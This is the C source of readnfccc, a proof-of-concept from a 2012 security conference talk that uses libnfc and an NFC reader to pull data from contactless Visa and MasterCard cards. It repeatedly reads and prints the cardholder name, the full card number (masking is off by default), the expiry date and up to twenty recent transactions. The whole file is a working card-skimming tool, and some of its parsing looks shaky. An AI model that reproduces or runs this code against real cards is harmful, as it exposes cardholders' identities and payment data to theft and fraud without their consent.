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readnfccc.c
254 lines (210 loc) · 6.34 KB
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readnfccc.c
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/*
readnfccc - by Renaud Lifchitz (renaud.lifchitz@bt.com)
License: distributed under GPL version 3 (http://www.gnu.org/licenses/gpl.html)
* Introduction:
"Quick and dirty" proof-of-concept
Open source tool developped and showed for Hackito Ergo Sum 2012 - "Hacking the NFC credit cards for fun and debit ;)"
Reads NFC credit card personal data (gender, first name, last name, PAN, expiration date, transaction history...)
* Requirements:
libnfc (>= 1.4.2) and a suitable NFC reader (http://www.libnfc.org/documentation/hardware/compatibility)
* Compilation:
$ gcc readnfccc.c -lnfc -o readnfccc
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <nfc/nfc.h>
typedef unsigned char byte_t;
// Choose whether to mask the PAN or not
#define MASKED 0
#define MAX_FRAME_LEN 300
void show(size_t recvlg, byte_t *recv) {
int i;
printf("< ");
for(i=0;i<(int) recvlg;i++) {
printf("%02x ",(unsigned int) recv[i]);
}
printf("\n");
}
int main(int argc, char **argv) {
nfc_device *pnd;
nfc_target nt;
// Allocate only a pointer to nfc_context
nfc_context *context;
byte_t abtRx[MAX_FRAME_LEN];
byte_t abtTx[MAX_FRAME_LEN];
size_t szRx = sizeof(abtRx);
size_t szTx;
byte_t START_14443A[] = {0x4A, 0x01, 0x00};
byte_t SELECT_APP[] = {0x40,0x01,0x00,0xA4,0x04,0x00,0x07,0xA0,0x00,0x00,0x00,0x42,0x10,0x10,0x00};
byte_t READ_RECORD_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x02, 0x0C, 0x00, 0x00};
byte_t READ_RECORD_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x14, 0x00, 0x00};
byte_t READ_PAYLOG_VISA[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x8C, 0x00, 0x00};
byte_t READ_PAYLOG_MC[] = {0x40, 0x01, 0x00, 0xB2, 0x01, 0x5C, 0x00, 0x00};
unsigned char *res, output[50], c, amount[10],msg[100];
unsigned int i, j, expiry;
// Initialize the libnfc and set the nfc_context
nfc_init(&context);
if (context == NULL) {
printf("Unable to init libnfc(malloc)\n");
return 1;
}typedef unsigned char byte;
// Open first available device
pnd = nfc_open(context, NULL);
if (pnd == NULL) {
printf("Unable to connect to NFC device.\n");
return(1);
}
//printf("Connected to NFC reader: %s\n", pnd->acName);
nfc_initiator_init(pnd);
while(1) {
szRx = sizeof(abtRx);
if (!nfc_initiator_transceive_bytes(pnd, START_14443A, sizeof(START_14443A), abtRx, szRx, 0)) {
nfc_perror(pnd, "START_14443A");
return(1);
}
//show(szRx, abtRx);
szRx = sizeof(abtRx);
if (!nfc_initiator_transceive_bytes(pnd, SELECT_APP, sizeof(SELECT_APP), abtRx, szRx, 0)) {
nfc_perror(pnd, "SELECT_APP");
return(1);
}
//show(szRx, abtRx);
szRx = sizeof(abtRx);
if (!nfc_initiator_transceive_bytes(pnd, READ_RECORD_VISA, sizeof(READ_RECORD_VISA), abtRx, szRx, 0)) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
//show(szRx, abtRx);
/* Look for cardholder name */
res = abtRx;
for(i=0;i<(unsigned int) szRx-1;i++) {
if(*res==0x5f&&*(res+1)==0x20) {
strncpy(output, res+3, (int) *(res+2));
output[(int) *(res+2)]=0;
printf("Cardholder name: %s\n",output);
break;
}
res++;
}
/* Look for PAN & Expiry date */
res = abtRx;
for(i=0;i<(unsigned int) szRx-1;i++) {
if(*res==0x4d&&*(res+1)==0x57) {
strncpy(output, res+3, 13);
output[11]=0;
printf("PAN:");
for(j=0;j<8;j++) {
if(j%2==0) printf(" ");
c=output[j];
if(MASKED&j>=2&j<=5) {
printf("**");
}
else {
printf("%02x",c&0xff);
}
}
printf("\n");
expiry = (output[10]+(output[9]<<8)+(output[8]<<16))>>4;
printf("Expiration date: %02x/20%02x\n\n",(expiry&0xff),((expiry>>8)&0xff));
break;
}
res++;
}
szRx = sizeof(abtRx);
if (!nfc_initiator_transceive_bytes(pnd, READ_RECORD_MC, sizeof(READ_RECORD_MC), abtRx, szRx, 0)) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
//show(szRx, abtRx);
/* Look for cardholder name */
res = abtRx;
for(i=0;i<(unsigned int) szRx-1;i++) {
if(*res==0x5f&&*(res+1)==0x20) {
strncpy(output, res+3, (int) *(res+2));
output[(int) *(res+2)]=0;
printf("Cardholder name: %s\n",output);
break;
}
res++;
}
/* Look for PAN & Expiry date */
res = abtRx;
for(i=0;i<(unsigned int) szRx-1;i++) {
if(*res==0x9c&&*(res+1)==0x57) {
strncpy(output, res+3, 13);
output[11]=0;
printf("PAN:");
for(j=0;j<8;j++) {
if(j%2==0) printf(" ");
c=output[j];
if(MASKED&j>=2&j<=5) {
printf("**");
}
else {
printf("%02x",c&0xff);
}
}
printf("\n");
expiry = (output[10]+(output[9]<<8)+(output[8]<<16))>>4;
printf("Expiration date: %02x/20%02x\n\n",(expiry&0xff),((expiry>>8)&0xff));
break;
}
res++;
}
for(i=1;i<=20;i++) {
READ_PAYLOG_VISA[4] = i;
szRx = sizeof(abtRx);
if (!nfc_initiator_transceive_bytes(pnd, READ_PAYLOG_VISA, sizeof(READ_PAYLOG_VISA), abtRx, szRx, 0)) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
if(szRx==18) { // Non-empty transaction
//show(szRx, abtRx);
res = abtRx;
/* Look for date */
sprintf(msg,"%02x/%02x/20%02x",res[14],res[13],res[12]);
/* Look for transaction type */
if(res[15]==0) {
sprintf(msg,"%s %s",msg,"Payment");
}
else if(res[15]==1) {
sprintf(msg,"%s %s",msg,"Withdrawal");
}
/* Look for amount*/
sprintf(amount,"%02x%02x%02x",res[3],res[4],res[5]);
sprintf(msg,"%s\t%d,%02x€",msg,atoi(amount),res[6]);
printf("%s\n",msg);
}
}
for(i=1;i<=20;i++) {
READ_PAYLOG_MC[4] = i;
szRx = sizeof(abtRx);
if (!nfc_initiator_transceive_bytes(pnd, READ_PAYLOG_MC, sizeof(READ_PAYLOG_MC), abtRx, szRx, 0)) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
if(szRx==18) { // Non-empty transaction
//show(szRx, abtRx);
res = abtRx;
/* Look for date */
sprintf(msg,"%02x/%02x/20%02x",res[14],res[13],res[12]);
/* Look for transaction type */
if(res[15]==0) {
sprintf(msg,"%s %s",msg,"Payment");
}
else if(res[15]==1) {
sprintf(msg,"%s %s",msg,"Withdrawal");
}
/* Look for amount*/
sprintf(amount,"%02x%02x%02x",res[3],res[4],res[5]);
sprintf(msg,"%s\t%d,%02x€",msg,atoi(amount),res[6]);
printf("%s\n",msg);
}
}
printf("-------------------------\n");
}
nfc_close(pnd);
return(0);
}